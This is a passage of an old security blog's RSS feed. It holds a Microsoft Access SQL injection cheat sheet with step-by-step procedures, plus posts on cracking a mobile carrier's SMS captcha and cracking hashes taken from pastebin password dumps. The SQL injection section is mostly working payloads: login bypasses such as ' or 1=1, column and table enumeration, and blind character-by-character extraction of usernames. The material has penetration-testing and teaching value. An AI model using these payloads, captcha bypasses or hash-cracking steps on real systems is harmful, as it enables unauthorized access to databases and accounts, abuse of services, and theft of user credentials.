<td valign="top" width="100">None</td>
<td valign="top" width="263">SELECT * FROM users WHERE id=1 having sum(1)=1</td>
</tr>
<tr>
<td valign="top" width="31">5</td>
<td valign="top" width="102">Retrieving the Data Type of the Colum</td>
<td valign="top" width="100">Column and Table Name</td>
<td valign="top" width="263">SELECT * FROM users WHERE id=1 UNION SELECT NULL, TypeName(username),NULL,NULL,NULL,NULL FROM users WHERE 1=1</td>
</tr>
<tr>
<td valign="top" width="31">6</td>
<td valign="top" width="102">Retrieve The Length of the Data in X Column</td>
<td valign="top" width="100">Column and Table Name</td>
<td valign="top" width="263">SELECT * FROM users WHERE ID=IIF((select LEN(username) from (SELECT TOP 1 username FROM users))&gt;1,1,0)</td>
</tr>
<tr>
<td valign="top" width="31">7</td>
<td valign="top" width="102">Retrieve the Data in the Column  / Row of the Access Table.Uses True or False statement to check if there is a data match.</td>
<td valign="top" width="100">Column and Table Name</td>
<td valign="top" width="263">SELECT * FROM users WHERE id=1 and 1=IIF((SELECT mid(last(username),1,1) FROM (SELECT TOP 1 username FROM users))=’m’,1,0)</td>
</tr>
<tr>
<td valign="top" width="31">8</td>
<td valign="top" width="102">Retrieve The Data In the X Column and X Row.</td>
<td valign="top" width="100">Column and Table Name</td>
<td valign="top" width="263">SELECT TOP 1 username FROM users WHERE username &lt;(SELECT MAX(username) FROM users where USERNAME &lt;(SELECT MAX(username) FROM users)) ORDER BY username</td>
</tr>
<tr>
<td valign="top" width="31">9</td>
<td valign="top" width="102">How to Check if The Access Database is Sandboxed</td>
<td valign="top" width="100">None</td>
<td valign="top" width="263">SELECT * FROM users WHERE id=1 UNION SELECT curdir() FROM MsysAccessObjects WHERE 1=1</td>
</tr>
<tr>
<td valign="top" width="31">10</td>
<td valign="top" width="102">Check if Table Exists</td>
<td valign="top" width="100">None</td>
<td valign="top" width="263">SELECT * FROM users WHERE id=1 UNION SELECT 1 FROM [table_name]</td>
</tr>
<tr>
<td valign="top" width="31">11</td>
<td valign="top" width="102">Check if Column Exists</td>
<td valign="top" width="100">Table Name</td>
<td valign="top" width="263">SELECT * FROM users WHERE id=1 UNION SELECT [column_name] FROM [table_name]</td>
</tr>
<tr>
<td valign="top" width="31">12</td>
<td valign="top" width="102">Determine Number of Rows in Table</td>
<td valign="top" width="100">Table Name</td>
<td valign="top" width="263">SELECT * FROM users AND IIF(SELECT COUNT(*) FROM [table_name] ) = [x], 1, 0</td>
</tr>
<tr>
<td valign="top" width="31">13</td>
<td valign="top" width="102">Login Bypass</td>
<td valign="top" width="100"></td>
<td valign="top" width="263">‘ or 1=1‘)<br />
&#8216; or 1=1</td>
</tr>
<tr>
<td valign="top" width="31">14</td>
<td valign="top" width="102">Login Bypass(If the above (No 13) doesn’t work for you</td>
<td valign="top" width="100">Number of ColumnsTable NameColumn Name</td>
<td valign="top" width="263">SELECT * FROM users WHERE username = ‘[username] ‘ UNION SELECT NULL, NULL, NULL FROM users WHERE ‘1’=’1’ and password=’’</td>
</tr>
</tbody>
</table>
<hr />
<p><strong>Steps for SQL Injection for Microsoft Access</strong></p>
<ol>
<li>Terminate the input string with a single ‘ or double quote “</li>
<li>Find out the number of columns in the current table. Refer to (2) in table.</li>
<li>Extract the valid column names from the SQL injection.  Refer to (3) in table.</li>
<li>If Step (3) doesn’t work, extract the first column name of the current table.  Refer to (4) in table.</li>
<li>Brute force the table names.  Refer to (10) in table.</li>
<li>Brute force the column names.  Refer to (11) in table.</li>
<li>Retrieve The Length of the Data in X Column.  Refer to (6) in table.</li>
<li>For simple websites, you can use (e.g. UNION SELECT null, null, [column_name], null from users to extract the values).  Not all columns will return the value in a UNION SELECT.  It all depends on the data type of the original column.   You might want to shift the [column_name] around until you get a valid data output on the website.</li>
<li>In a blind SQL injection,  you can use one of the methods mentioned in (7) and (8) to extract the data from the database.</li>
</ol>
<hr />
<p><strong>Login Bypass</strong></p>
<p>Prerequisites:                     Username, Number of Columns in Table and Table Name</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="479">SELECT * FROM users WHERE username = ‘keith’ union select null, null, null FROM users WHERE ‘1’=’1‘</td>
</tr>
</tbody>
</table>
<p>In some cases, the SQL injection login bypass command (&#8216; or 1=1)doesn’t work.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image053.png"><img title="image053" src="http://milo2012.files.wordpress.com/2012/02/image053.png?w=577&#038;h=160" alt="" width="577" height="160" /></a></p>
<p>This is when the SQL statement below becomes useful.</p>
<p><strong><a href="http://milo2012.files.wordpress.com/2012/02/image055.png"><img title="image055" src="http://milo2012.files.wordpress.com/2012/02/image055.png?w=576&#038;h=163" alt="" width="576" height="163" /></a></strong></p>
<hr />
<p><strong>Get the Number of Columns in an Access Table</strong></p>
<p><strong>Prerequisites:              </strong>None</p>
<p>The below SQL command can be used to derive the number of columns in a MSAccess table.</p>
<p>You will increase the number after ORDER BY until you receive an error.  The number before you receive the error is the total number of columns in the current table.</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="479">SELECT * FROM users WHERE id=1 ORDER BY 6,1</td>
</tr>
</tbody>
</table>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image001.png"><img class="alignnone size-full wp-image-341" title="image001" src="http://milo2012.files.wordpress.com/2012/02/image001.png?w=595" alt=""   /></a></p>
<p>The group by command also can be used to retrieve the column names.  However, the <strong>group by</strong> command<strong> </strong>doesn’t work if the SQL statement contains <strong>SELECT *</strong></p>
<p>You will be able to retrieve all the column names in the SQL statement if the SELECT statement doesn&#8217;t contain *</p>
<hr />
<p><strong>Retrieve the Data in the Column  / Row of the Access Table</strong></p>
<p><strong>Prerequisites:  </strong>Column and Table Name</p>
<p>The below command uses the “IIF” keyword and checks if the first character of the word in the first column and row matches the character “m”.</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="479">SELECT * FROM users WHERE id=1 and 1=IIF((SELECT mid(last(username),1,1) FROM (SELECT TOP 1 username FROM users))=’m’,1,0)</td>
</tr>
</tbody>
</table>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image003.png"><img class="alignnone  wp-image-343" title="image003" src="http://milo2012.files.wordpress.com/2012/02/image003.png?w=585&#038;h=324" alt="" width="585" height="324" /></a></p>
<hr />
<p><strong>Retrieve the Data in the Column  / Row of the Access Table</strong></p>
<p><strong>Prerequisites:  </strong>Column and Table Name</p>
<p>The below command uses the “IIF” keyword and checks if the first character of the word in the first column and row matches the character “m”.</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="479">SELECT * FROM users WHERE id=1 and 1=IIF((SELECT mid(last(username),1,1) FROM (SELECT TOP 1 username FROM users))=’m’,1,0)</td>
</tr>
</tbody>
</table>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image005.png"><img class="alignnone size-full wp-image-348" title="image005" src="http://milo2012.files.wordpress.com/2012/02/image005.png?w=595" alt=""   /></a></p>
<p>Since the query returns some results, it means that the first character of the word in the first column and row matches the character “m”.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image007.png"><img class="alignnone size-full wp-image-350" title="image007" src="http://milo2012.files.wordpress.com/2012/02/image007.png?w=595" alt=""   /></a></p>
<p>The below command uses the “IIF” keyword and checks if the first character of the word in the first column and row matches the character “Y”.</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="479">SELECT * FROM users WHERE id=1 and 1=IIF((SELECT mid(last(usernme),1,1) FROM (SELECT TOP 1 username FROM users))=’m’,1,0)</td>
</tr>
</tbody>
</table>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image009.png"><img class="alignnone size-full wp-image-352" title="image009" src="http://milo2012.files.wordpress.com/2012/02/image009.png?w=595" alt=""   /></a></p>
<p>Since the query doesn’t return any results, it means that the first character of the word in the first column and row matches the character “Y”.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image011.png"><img class="alignnone size-full wp-image-354" title="image011" src="http://milo2012.files.wordpress.com/2012/02/image011.png?w=595" alt=""   /></a></p>
<hr />
<p><strong>Get The First Column Name from the Current Table</strong></p>
<p><strong>Prerequisites:                      </strong>None</p>
<p>We are able to reveal the first column of the table using the below SQL statement.  For the other columns, you will have to brute force them using a word list</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="479">SELECT * FROM users WHERE id=1 having sum(1)=1</td>
</tr>
</tbody>
</table>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image014.png"><img class="alignnone size-full wp-image-357" title="image014" src="http://milo2012.files.wordpress.com/2012/02/image014.png?w=595" alt=""   /></a></p>
<hr />
<p><strong>Retrieving the Data Type of the Colum</strong></p>
<p><strong>Prerequisites:                      </strong>Column and Table Name</p>
<p>Using the below statement, you can reveal the type of the column.  However, you will need to know the table name and column name in order for this statement to work</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="479">SELECT * FROM users WHERE id=1 UNION SELECT NULL, TypeName(username),NULL,NULL,NULL,NULL FROM users WHERE 1=1</td>
</tr>
</tbody>
</table>
<p>The below command checks the date type of the column &#8220;username&#8221;.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image017.png"><img class="alignnone size-full wp-image-362" title="image017" src="http://milo2012.files.wordpress.com/2012/02/image017.png?w=595" alt=""   /></a></p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image019.png"><img class="alignnone size-full wp-image-364" title="image019" src="http://milo2012.files.wordpress.com/2012/02/image019.png?w=595" alt=""   /></a></p>
<p>The below command checks the date type of the column &#8220;username&#8221;.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image017.png"><img title="image017" src="http://milo2012.files.wordpress.com/2012/02/image017.png?w=600&#038;h=159" alt="" width="600" height="159" /></a></p>
<p>The below command checks the date type of the column &#8220;username&#8221;.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image017.png"><img title="image017" src="http://milo2012.files.wordpress.com/2012/02/image017.png?w=600&#038;h=159" alt="" width="600" height="159" /></a></p>
<p>The below command checks the date type of the column &#8220;id&#8221;.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image021.png"><img class="alignnone size-full wp-image-366" title="image021" src="http://milo2012.files.wordpress.com/2012/02/image021.png?w=595" alt=""   /></a></p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image023.png"><img class="alignnone size-full wp-image-368" title="image023" src="http://milo2012.files.wordpress.com/2012/02/image023.png?w=595" alt=""   /></a></p>
<p>Using the IF ELSE keyword in the below SQL statement, we can infer the answers to our questions by asking the access database ‘Yes’ or ‘No’ type of questions.</p>
<p>The below statement checks to see if the data type of username is &#8220;long&#8221;.  If the data type is long then results will be returned.   If not, the results would be blank.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image025.png"><img class="alignnone size-full wp-image-369" title="image025" src="http://milo2012.files.wordpress.com/2012/02/image025.png?w=595" alt=""   /></a></p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image027.png"><img class="alignnone size-full wp-image-372" title="image027" src="http://milo2012.files.wordpress.com/2012/02/image027.png?w=595" alt=""   /></a></p>
<hr />
<p><strong>How to Check if The Access Database is Sandboxed</strong></p>
<p>Prerequisites:                     None</p>
<p>If the JET engine is sandboxed, you will not be able to use unsafe commands like curdir().  In order to test whether the Jet engine is sandboxed, you can type in the below statement</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="479">SELECT * FROM users WHERE id=1 UNION SELECT curdir() FROM MsysAccessObjects WHERE 1=1</td>
</tr>
</tbody>
</table>
<p>Microsoft JET 3.51 SP2/SP3 and Windows NT SP6a (MS JET 3.51.0623.4) does not provide sandboxing.</p>
<p>You can refer to <a href="http://support.microsoft.com/default.aspx?scid=kb%3Ben-us%3B294698&amp;Product=acc">http://support.microsoft.com/default.aspx?scid=kb%3Ben-us%3B294698&amp;Product=acc</a> for a list of safe and unsafe functions that you can/cannot use.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image029.png"><img class="alignnone  wp-image-373" title="image029" src="http://milo2012.files.wordpress.com/2012/02/image029.png?w=497&#038;h=183" alt="" width="497" height="183" /></a></p>
<hr />
<p><strong>Retrieve the List of Tables in the Access Database</strong></p>
<p>You might be able to get a list of tables that are on the access database using the below command</p>
<p>However, you might not be able to access this outside MS Access.</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="479">SELECT * FROM users UNION SELECT name FROM MSysObjects WHERE type=1</td>
</tr>
</tbody>
</table>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image031.png"><img class="alignnone size-full wp-image-375" title="image031" src="http://milo2012.files.wordpress.com/2012/02/image031.png?w=595" alt=""   /></a></p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image033.png"><img class="alignnone size-full wp-image-377" title="image033" src="http://milo2012.files.wordpress.com/2012/02/image033.png?w=595" alt=""   /></a></p>
<hr />
<p><strong>Retrieve The Data In the X Column and X Row</strong></p>
<p>Prerequisites:                     Column and Table Name</p>
<p>In order to find the username in the 3<sup>rd</sup> row, the below SQL statement would be used.</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="479">SELECT TOP 1 username FROM users WHERE username &lt;(SELECT MAX(username) FROM users where USERNAME &lt;(SELECT MAX(username) FROM users)) ORDER BY username</td>
</tr>
</tbody>
</table>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image039.png"><img class="alignnone size-full wp-image-382" title="image039" src="http://milo2012.files.wordpress.com/2012/02/image039.png?w=595" alt=""   /></a></p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image041.png"><img class="alignnone size-full wp-image-384" title="image041" src="http://milo2012.files.wordpress.com/2012/02/image041.png?w=595" alt=""   /></a></p>
<hr />
<p><strong>Retrieve The Length of the Data in X Column</strong></p>
<p>Prerequisites:                     Column and Table Name</p>
<p>To check if the length of the first string in the username column, we would use the below SQL statement</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="479">SELECT * FROM users WHERE ID=IIF((select LEN(username) from (SELECT TOP 1 username FROM users))&gt;1,1,0)</td>
</tr>
</tbody>
</table>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image044.png"><img class="alignnone size-full wp-image-387" title="image044" src="http://milo2012.files.wordpress.com/2012/02/image044.png?w=595" alt=""   /></a></p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image0451.png"><img class="alignnone size-full wp-image-388" title="image045" src="http://milo2012.files.wordpress.com/2012/02/image0451.png?w=595" alt=""   /></a></p>
<hr />
<p><strong>Retrieving the Columns in a Table</strong></p>
<p>Prerequisites:                     If the SELECT statement doesn’t use * under the Column Selection portion of the SQL statement</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="479">SELECT username, password from users WHERE id=1 GROUP BY 1 having 1=1SELECT username, password from users WHERE id=1 GROUP BY 1, username having 1=1</td>
</tr>
</tbody>
</table>
<p>If the column selection in the SELECT statement is not using * but using the column names instead, we will able to force MSAccess to reveal the column names by using <strong>Group By 1 Having 1=1</strong> statement</p>
<p>As shown in the below screenshot, the first column in the SQL statement has been revealed</p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image047.png"><img class="alignnone size-full wp-image-390" title="image047" src="http://milo2012.files.wordpress.com/2012/02/image047.png?w=595" alt=""   /></a></p>
<p>We append the previously found column ‘username’ to the SQL statement in order to reveal the name of the next column,  If you no longer receive any alerts, that means that you have uncovered all the column names in the SQL statement.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image048.png"><img class="alignnone size-full wp-image-391" title="image048" src="http://milo2012.files.wordpress.com/2012/02/image048.png?w=595" alt=""   /></a></p>
<hr />
<p><strong>Check if A Table Exists</strong></p>
<p>Prerequisites:                     None</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="479">SELECT * FROM users WHERE username = ‘’ UNION SELECT 1 from users1 WHERE ‘1’=’1’ and password=’&#8217;</td>
</tr>
</tbody>
</table>
<p><strong> </strong>You can use the below command to brute force for valid table names<strong></strong></p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/image049.png"><img class="alignnone size-full wp-image-392" title="image049" src="http://milo2012.files.wordpress.com/2012/02/image049.png?w=595" alt=""   /></a></p>
<hr />
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/milo2012.wordpress.com/328/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/milo2012.wordpress.com/328/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=milo2012.wordpress.com&#038;blog=9578663&#038;post=328&#038;subd=milo2012&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://milo2012.wordpress.com/2012/02/18/sql-injection-for-microsoft-access/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/a0e89b674c818ee16b2366d9323c691c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">milo2012</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image053.png" medium="image">
			<media:title type="html">image053</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image055.png" medium="image">
			<media:title type="html">image055</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image001.png" medium="image">
			<media:title type="html">image001</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image003.png" medium="image">
			<media:title type="html">image003</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image005.png" medium="image">
			<media:title type="html">image005</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image007.png" medium="image">
			<media:title type="html">image007</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image009.png" medium="image">
			<media:title type="html">image009</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image011.png" medium="image">
			<media:title type="html">image011</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image014.png" medium="image">
			<media:title type="html">image014</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image017.png" medium="image">
			<media:title type="html">image017</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image019.png" medium="image">
			<media:title type="html">image019</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image017.png" medium="image">
			<media:title type="html">image017</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image017.png" medium="image">
			<media:title type="html">image017</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image021.png" medium="image">
			<media:title type="html">image021</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image023.png" medium="image">
			<media:title type="html">image023</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image025.png" medium="image">
			<media:title type="html">image025</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image027.png" medium="image">
			<media:title type="html">image027</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image029.png" medium="image">
			<media:title type="html">image029</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image031.png" medium="image">
			<media:title type="html">image031</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image033.png" medium="image">
			<media:title type="html">image033</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image039.png" medium="image">
			<media:title type="html">image039</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image041.png" medium="image">
			<media:title type="html">image041</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image044.png" medium="image">
			<media:title type="html">image044</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image0451.png" medium="image">
			<media:title type="html">image045</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image047.png" medium="image">
			<media:title type="html">image047</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image048.png" medium="image">
			<media:title type="html">image048</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/image049.png" medium="image">
			<media:title type="html">image049</media:title>
		</media:content>
	</item>
		<item>
		<title>Cracking M1 Free SMS Captcha using the Cloud</title>
		<link>http://milo2012.wordpress.com/2012/02/08/cracking-m1-free-sms-captcha-using-the-cloud/</link>
		<comments>http://milo2012.wordpress.com/2012/02/08/cracking-m1-free-sms-captcha-using-the-cloud/#comments</comments>
		<pubDate>Wed, 08 Feb 2012 11:09:32 +0000</pubDate>
		<dc:creator>milo2012</dc:creator>
				<category><![CDATA[Captcha Cracking]]></category>
		<category><![CDATA[captcha]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[Cracking captcha]]></category>

		<guid isPermaLink="false">http://milo2012.wordpress.com/?p=306</guid>
		<description><![CDATA[I wrote a simple script on cracking the M1 free SMS service using free internet services. The M1 free sms website is available at http://msgctr.m1.com.sg/guest/index.jsp The website is &#8216;protected&#8217; from abuse by a very simple captcha. The script is pretty much self explanatory and is now available on pastebin.com http://pastebin.com/31NXHGYn You can also crack the [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=milo2012.wordpress.com&#038;blog=9578663&#038;post=306&#038;subd=milo2012&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p style="text-align:left;">I wrote a simple script on cracking the M1 free SMS service using free internet services.</p>
<p style="text-align:left;">The M1 free sms website is available at <a href="http://msgctr.m1.com.sg/guest/index.jsp" rel="nofollow">http://msgctr.m1.com.sg/guest/index.jsp</a></p>
<p style="text-align:left;">The website is &#8216;protected&#8217; from abuse by a very simple captcha.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/2-8-2012-6-20-46-pm.png"><img class="alignnone size-full wp-image-311" style="border-color:black;border-style:solid;border-width:1px;" title="m1 free sms website" src="http://milo2012.files.wordpress.com/2012/02/2-8-2012-6-20-46-pm.png?w=595" alt=""   /></a></p>
<p>The script is pretty much self explanatory and is now available on pastebin.com <a title="Pastebin link to Cracking M1 free sms captcha" href="http://pastebin.com/31NXHGYn">http://pastebin.com/31NXHGYn</a></p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/2-8-2012-6-20-18-pm.png"><img style="border-color:black;border-style:solid;border-width:1px;" title="m1 sms captcha cracking script" src="http://milo2012.files.wordpress.com/2012/02/2-8-2012-6-20-18-pm.png?w=450&#038;h=151" alt="" width="450" height="151" /></a></p>
<p>You can also crack the captcha using Tesseract which is the de facto tool for cracking captchas.</p>
<p>However, I have used the font recognition services on <a href="http://new.myfonts.com/WhatTheFont" rel="nofollow">http://new.myfonts.com/WhatTheFont</a> for this purpose due to the below reasons<br />
1. This is a very simple captcha<br />
2. The success rates are higher than an untrained tesseract 3.0<br />
3. I do not have to find the font that the captcha is using (required to train tesseract for recognizing the characters in the captcha)</p>
<p>As shown in the below screenshot, MyFonts is able to detect the characters in the captcha accurately which is perfect for cracking the captcha on M1&#8242;s sms website.</p>
<p><a href="http://milo2012.files.wordpress.com/2012/02/2-8-2012-7-04-10-pm.png"><img class="alignnone size-full wp-image-321" style="border-color:black;border-style:solid;border-width:1px;" title="Screenshot of whatthefont service" src="http://milo2012.files.wordpress.com/2012/02/2-8-2012-7-04-10-pm.png?w=595" alt=""   /></a></p>
<p>Please do not abuse the free sms service on M1&#8242;s website. It is illegal to do so.</p>
<p>This post is to demonstrate that weak captchas can be easily cracked using online services.</p>
<p>There is a very good article here on how to crack Captcha using Tesseract</p>
<p><a title="http://www.clshack.com/en/how-to-bypass-captcha-with-python-tesseract.html" href="http://www.clshack.com/en/how-to-bypass-captcha-with-python-tesseract.html">http://www.clshack.com/en/how-to-bypass-captcha-with-python-tesseract.html</a></p>
<p>For more difficult captchas, you want want to by rendering the services of human captcha crackers.<br />
<a title="http://www.troyhunt.com/2012/01/breaking-captcha-with-automated-humans.html" href="http://www.troyhunt.com/2012/01/breaking-captcha-with-automated-humans.html">http://www.troyhunt.com/2012/01/breaking-captcha-with-automated-humans.html</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/milo2012.wordpress.com/306/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/milo2012.wordpress.com/306/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=milo2012.wordpress.com&#038;blog=9578663&#038;post=306&#038;subd=milo2012&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://milo2012.wordpress.com/2012/02/08/cracking-m1-free-sms-captcha-using-the-cloud/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/a0e89b674c818ee16b2366d9323c691c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">milo2012</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/2-8-2012-6-20-46-pm.png" medium="image">
			<media:title type="html">m1 free sms website</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/2-8-2012-6-20-18-pm.png" medium="image">
			<media:title type="html">m1 sms captcha cracking script</media:title>
		</media:content>

		<media:content url="http://milo2012.files.wordpress.com/2012/02/2-8-2012-7-04-10-pm.png" medium="image">
			<media:title type="html">Screenshot of whatthefont service</media:title>
		</media:content>
	</item>
		<item>
		<title>Cracking hashes using findmyhash</title>
		<link>http://milo2012.wordpress.com/2012/01/24/cracking-hashes-using-findmyhash/</link>
		<comments>http://milo2012.wordpress.com/2012/01/24/cracking-hashes-using-findmyhash/#comments</comments>
		<pubDate>Tue, 24 Jan 2012 17:11:49 +0000</pubDate>
		<dc:creator>milo2012</dc:creator>
				<category><![CDATA[Password Cracking]]></category>
		<category><![CDATA[findmyhash]]></category>
		<category><![CDATA[hash]]></category>
		<category><![CDATA[hashcat]]></category>
		<category><![CDATA[password cracking]]></category>
		<category><![CDATA[password dumps]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://milo2012.wordpress.com/?p=267</guid>
		<description><![CDATA[Hashcat http://hashcat.net/hashcat/ is the definitely tool to use for cracking hashes. It might be highly possible that the hash might have been cracked by others online. Therefore, it might be more convenient to perform a lookup using the online free services before even trying to crack the hash with Hashcat. findmyhash is a very useful [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=milo2012.wordpress.com&#038;blog=9578663&#038;post=267&#038;subd=milo2012&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p style="text-align:left;">Hashcat <a title="http://hashcat.net/hashcat/" href="http://hashcat.net/hashcat/">http://hashcat.net/hashcat/</a> is the definitely tool to use for cracking hashes. It might be highly possible that the hash might have been cracked by others online.</p>
<p style="text-align:left;">Therefore, it might be more convenient to perform a lookup using the online free services before even trying to crack the hash with Hashcat.</p>
<p style="text-align:left;">findmyhash is a very useful tool for cracking the hashes using free online services.</p>
<p style="text-align:left;">Most of the password dumps have been appearing on websites like Pastebin.com and it makes it even more useful if findmyhash is able to find and crack md5/sha1 hashes located in a website link like pastebin. I have submitted a patch to <a title="https://code.google.com/p/findmyhash/issues/detail?id=7" href="https://code.google.com/p/findmyhash/issues/detail?id=7">https://code.google.com/p/findmyhash/issues/detail?id=7</a> for this new feature.</p>
<p>If you do not feel comfortable with another party knowing about the hashes, you should skip using findmyhash all together and dive straight to hashcat instead.</p>
<p style="text-align:left;">
<p><span id="more-267"></span></p>
<p>&nbsp;</p>
<p style="text-align:left;"><strong>Cracking hashes from a url </strong></p>
<p style="text-align:left;"><a href="http://milo2012.files.wordpress.com/2012/01/screen-shot-2012-01-25-at-12-12-14-am.png"><img class="alignnone size-full wp-image-268" title="findmyhash.py new features" src="http://milo2012.files.wordpress.com/2012/01/screen-shot-2012-01-25-at-12-12-14-am.png?w=595" alt="findmyhash.py new features"   /></a></p>
<h4>To directly search and crack hashes from a url, you only need to key in the below commands</h4>
<ul style="text-align:left;">
<li>python findmyhash_v1.1.2.py MD5 -u <a href="http://pastebin.com/ddWYY634" rel="nofollow">http://pastebin.com/ddWYY634</a></li>
<li><span style="text-align:left;">python findmyhash_v1.1.2.py SHA1 -u <a href="http://pastebin.com/1YbcH2k5" rel="nofollow">http://pastebin.com/1YbcH2k5</a></span></li>
</ul>
<p style="text-align:left;"><strong><!--more--></strong></p>
<p style="text-align:left;"><strong>Applying the patch</strong></p>
<p style="text-align:left;">As the patch is not yet accepted and committed to the source, you can apply the patch listed at <a title="Patch for findmyhash new feature" href="https://code.google.com/p/findmyhash/issues/detail?id=7">https://code.google.com/p/findmyhash/issues/detail?id=7</a> by performing the below actions</p>
<p style="text-align:left;"><a href="http://milo2012.files.wordpress.com/2012/01/screen-shot-2012-01-25-at-12-33-07-am.png"><img class="alignnone size-full wp-image-270" title="Patching findmyhash" src="http://milo2012.files.wordpress.com/2012/01/screen-shot-2012-01-25-at-12-33-07-am.png?w=595" alt="Patching findmyhash"   /></a></p>
<ul>
<li style="text-align:left;">python findmyhash_v1.1.2.py -i findmyhash.patch -o findmyhash_v1.1.3.py</li>
</ul>
<p><strong><!--more--></strong></p>
<p><strong>Video on how to use findmyhash 1.1.2</strong></p>
<p><strong></strong>Below is a video on how to use findmyhash.py</p>
